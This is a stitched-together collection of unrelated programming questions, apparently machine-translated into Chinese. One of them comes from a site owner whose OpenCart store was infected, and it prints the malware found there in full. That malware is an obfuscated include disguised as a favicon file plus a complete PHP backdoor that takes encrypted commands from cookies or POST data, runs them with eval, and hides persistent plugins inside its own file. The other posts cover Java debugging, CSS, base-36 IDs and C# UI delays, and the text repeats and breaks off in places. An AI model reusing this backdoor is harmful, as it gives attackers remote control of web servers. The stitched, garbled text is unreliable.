在编写代码时,它有时无法按照我的预期工作或原则上无法工作。我坐下来想:什么地方错了?
稍微看了一下代码后,我去专业人士的资源,例如Stack Overflow并发布问题 “这里的错误在哪里?” 或“为什么它不起作用?”
结果,问题往往很小:愚蠢的拼写错误、语法错误等。如果你为每一件小事都使用资源,你就不可能成为那样的专业人士。我想成为。
问题:在Java代码中查找错误的方法有哪些?有哪些工具、方法、途径等?
在编写代码时,它有时无法按照我的预期工作或原则上无法工作。我坐下来想:什么地方错了?
稍微看了一下代码后,我去专业人士的资源,例如Stack Overflow并发布问题 “这里的错误在哪里?” 或“为什么它不起作用?”
结果,问题往往很小:愚蠢的拼写错误、语法错误等。如果你为每一件小事都使用资源,你就不可能成为那样的专业人士。我想成为。
问题:在Java代码中查找错误的方法有哪些?有哪些工具、方法、途径等?
你好。最近,我开始注意到当我打开我的网站时,会重定向到某种广告网站。我开始查看我的代码,在 index.php 中我发现了这样一行:
/*1d3ec*/
@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";
/*1d3ec*/
当我删除多余的部分时,我得到了某个文件的路径:
home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico
我找到了这个文件,打开它,然后:
好吧,我认为代码已从 index.php 和文件中删除.. 第二天出现了相同样式的新代码和新文件,只是在不同的文件夹中。如何从这种感染中清除网站?
引擎:Opencart 2.1.0.1
仅安装的模块:Marketplace、Ajax Product Page Loader、[OCJazz] SeoPro、uLogin - 面板。修饰符:iSenseLabs 的本地副本 OCMOD,oc2011+ 的 Easy Blog Simple。
更改了托管密码,将 index.php 文件的属性设置为“只读”,但没有帮助。也许有人遇到过这个。感谢您阅读到最后!
UPD:病毒仍然存在,我已经清除了很多次。我决定看看恶意代码里面有什么,我请求那些能从下面的代码中理解漏洞所在的人的帮助,因为我自己熟悉 PHP 还不到一年。
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_get_current_filepath()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_get_plugin_config()
{
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config = substr($self_content, $config_pos + 32);
$plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
}
else
{
$plugins = Array();
}
return $plugins;
}
function cs_set_plugin_config($plugins)
{
$config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config_old = substr($self_content, $config_pos + 32);
$self_content = str_replace($config_old, $config_enc, $self_content);
}
else
{
$self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
}
@file_put_contents(cs_get_current_filepath(), $self_content);
}
function cs_plugin_add($name, $base64_data)
{
$plugins = cs_get_plugin_config();
$plugins[$name] = base64_decode($base64_data);
cs_set_plugin_config($plugins);
}
function cs_plugin_rem($name)
{
$plugins = cs_get_plugin_config();
unset($plugins[$name]);
cs_set_plugin_config($plugins);
}
function cs_plugin_load($name=NULL)
{
foreach (cs_get_plugin_config() as $pname=>$pcontent)
{
if ($name)
{
if (strcmp($name, $pname) == 0)
{
eval($pcontent);
break;
}
}
else
{
eval($pcontent);
}
}
}
foreach ($_COOKIE as $key=>$value)
{
$data = $value;
$data_key = $key;
}
if (!$data)
{
foreach ($_POST as $key=>$value)
{
$data = $value;
$data_key = $key;
}
}
$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $data['ak'],
);
echo @serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
}
cs_plugin_load();
}
UPD 2: 我只是查看了其中一个站点上的日志,这就是那里的内容
我想在居中标题前后创建一行。线条和文本必须具有透明背景,以便能够将它们放置在不同的背景上。线的宽度不应超过 100%。
就像图片中的这里:
标题文本可能会更改:
h1 {
text-align: center;
border-bottom: 1px solid #000;
}
<h1>Today</h1>
base_convert($id, 10, 36);
我使用 36 中 MySQL 表的转换 ID 作为唯一的短 URL。用户可以在这样的 URL 中看到一些令人讨厌的词吗?
UPDATE
看来我已经弄明白了,号码是739172。嗯,那里有脏话。
我需要延迟向用户显示信息。例如,每秒更改文本标签的内容。(或输出长时间计算的中间结果。)在命令行程序中,我这样做了:
Console.WriteLine("значение 1");
Thread.Sleep(1000);
Console.WriteLine("значение 2");
Thread.Sleep(1000);
Console.WriteLine("значение 3");
有效。现在我需要在图形程序中做同样的事情。我写了一个方法
void OnClick(object sender, EventArgs args)
{
label.Text = "значение 1";
Thread.Sleep(1000);
label.Text = "значение 2";
Thread.Sleep(1000);
label.Text = "значение 3";
}
但它不是那样工作的。中间值不显示,程序长时间停止响应。当它挂起时,它会立即显示最后一个值。
发生了什么?为什么程序运行不正确,如何正确运行?